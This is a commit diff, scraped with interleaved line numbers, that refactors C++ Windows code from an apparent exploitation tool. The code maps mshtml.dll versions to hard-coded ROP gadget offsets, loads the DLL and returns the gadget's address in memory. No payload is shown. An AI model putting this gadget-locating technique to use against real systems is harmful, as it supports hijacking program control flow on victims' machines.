3
3
#include < fstream>
4
4
#include " Windows.h"
5
5
#include < psapi.h>
6
+ #include < vector>
6
7
7
8
using namespace std ;
8
9
@@ -17,7 +18,7 @@ namespace {
17
18
uint32_t relative_offset;
18
19
};
19
20
20
- VersionToOffset mshtml_gadget_offset_map[] = {
21
+ vector< VersionToOffset> mshtml_gadget_offset_map = {
21
22
{ 11 , 0 , 14393 , 953 , 0x003CBD4D },
22
23
{ 0 , 0 , 0 , 0 , 0x006D55DD } // Provides the default ROP gadget offset (for Windows v8.1?)
23
24
};
@@ -85,29 +86,26 @@ uint32_t get_mshtml_gadget_relative_offset(const char *mshtml_filename) {
85
86
auto version_info_size = GetFileVersionInfoSizeA (mshtml_filename, &version_handle);
86
87
if (version_info_size == 0 ) throw runtime_error (" [-] Couldn't GetFileVersionInfoSize: " + GetLastError ());
87
88
88
- LPSTR version_data = new char [ version_info_size] ;
89
- auto result = GetFileVersionInfoA (mshtml_filename, version_handle, version_info_size, version_data);
89
+ vector< char > version_data ( version_info_size) ;
90
+ auto result = GetFileVersionInfoA (mshtml_filename, version_handle, version_info_size, & version_data[ 0 ] );
90
91
if (!result) {
91
- delete[] version_data;
92
92
throw runtime_error (" [-] Couldn't GetFileVersionInfo: " + GetLastError ());
93
93
}
94
94
95
95
LPBYTE version_info_buffer;
96
96
UINT version_info_buffer_size;
97
- result = VerQueryValueA (version_data, " \\ " , ( VOID FAR* FAR*) &version_info_buffer, &version_info_buffer_size);
97
+ result = VerQueryValueA (& version_data[ 0 ] , " \\ " , reinterpret_cast < VOID FAR* FAR*>( &version_info_buffer) , &version_info_buffer_size);
98
98
if (!result) {
99
- delete[] version_data;
100
99
throw runtime_error (" [-] Couldn't VerQueryValue: " + GetLastError ());
101
100
}
102
101
103
- VS_FIXEDFILEINFO *version_info = ( VS_FIXEDFILEINFO *) version_info_buffer;
102
+ auto *version_info = reinterpret_cast < VS_FIXEDFILEINFO *>( version_info_buffer) ;
104
103
WORD unpacked_file_version_words[4 ] = {
105
104
(version_info->dwFileVersionMS >> 16 ) & 0xffff ,
106
105
(version_info->dwFileVersionMS >> 0 ) & 0xffff ,
107
106
(version_info->dwFileVersionLS >> 16 ) & 0xffff ,
108
107
(version_info->dwFileVersionLS >> 0 ) & 0xffff };
109
- DWORDLONG unpacked_file_version = *(DWORDLONG *)unpacked_file_version_words;
110
- delete[] version_data;
108
+ auto unpacked_file_version = *reinterpret_cast <DWORDLONG *>(unpacked_file_version_words);
111
109
112
110
printf (" [ ] Found %s version %d.%d.%d.%d.\n " ,
113
111
mshtml_filename,
@@ -118,30 +116,30 @@ uint32_t get_mshtml_gadget_relative_offset(const char *mshtml_filename) {
118
116
119
117
uint32_t relative_offset = 0 ;
120
118
auto using_default = false ;
121
- int entry_num = 0 ;
119
+ auto entry_num = 0 ;
122
120
while (relative_offset == 0 ) {
123
- VersionToOffset * version_entry = &mshtml_gadget_offset_map[entry_num];
124
- if (*( DWORDLONG *) version_entry->file_version == unpacked_file_version
125
- || *( DWORDLONG *) version_entry->file_version == 0 )
121
+ auto * version_entry = &mshtml_gadget_offset_map[entry_num];
122
+ if (*reinterpret_cast < DWORDLONG *>( version_entry->file_version ) == unpacked_file_version
123
+ || *reinterpret_cast < DWORDLONG *>( version_entry->file_version ) == 0 )
126
124
relative_offset = version_entry->relative_offset ;
127
- using_default = *( DWORDLONG *) version_entry->file_version == 0 ;
125
+ using_default = *reinterpret_cast < DWORDLONG *>( version_entry->file_version ) == 0 ;
128
126
++entry_num;
129
127
}
130
128
131
129
if (using_default) {
132
- printf (" [*] WARNING: Unrecognized version, so using default relative offset.\n " );
130
+ printf (" [*] WARNING: Unrecognized version, so using default relative offset.\n " );
133
131
}
134
- printf (" [ ] %s ROP gadget is at relative offset 0x%p.\n " , mshtml_filename, ( void *) relative_offset);
132
+ printf (" [ ] %s ROP gadget is at relative offset 0x%p.\n " , mshtml_filename, reinterpret_cast < void *>( relative_offset) );
135
133
136
134
return relative_offset;
137
135
}
138
136
139
137
void * get_mshtml_gadget () {
140
- LPCSTR mshtml_filename = " mshtml.dll" ;
138
+ auto mshtml_filename = " mshtml.dll" ;
141
139
printf (" [ ] Loading %s.\n " , mshtml_filename);
142
140
auto mshtml_gadget_offset = get_mshtml_gadget_relative_offset (mshtml_filename);
143
141
auto mshtml_base = reinterpret_cast <uint8_t *>(LoadLibraryA (mshtml_filename));
144
- if (mshtml_base == 0 ) throw runtime_error (" [-] Couldn't LoadLibrary: " + GetLastError ());
142
+ if (! mshtml_base) throw runtime_error (" [-] Couldn't LoadLibrary: " + GetLastError ());
145
143
146
144
printf (" [+] Loaded %s into memory at 0x%p.\n " , mshtml_filename, mshtml_base);
147
145
return mshtml_base + mshtml_gadget_offset;
0 commit comments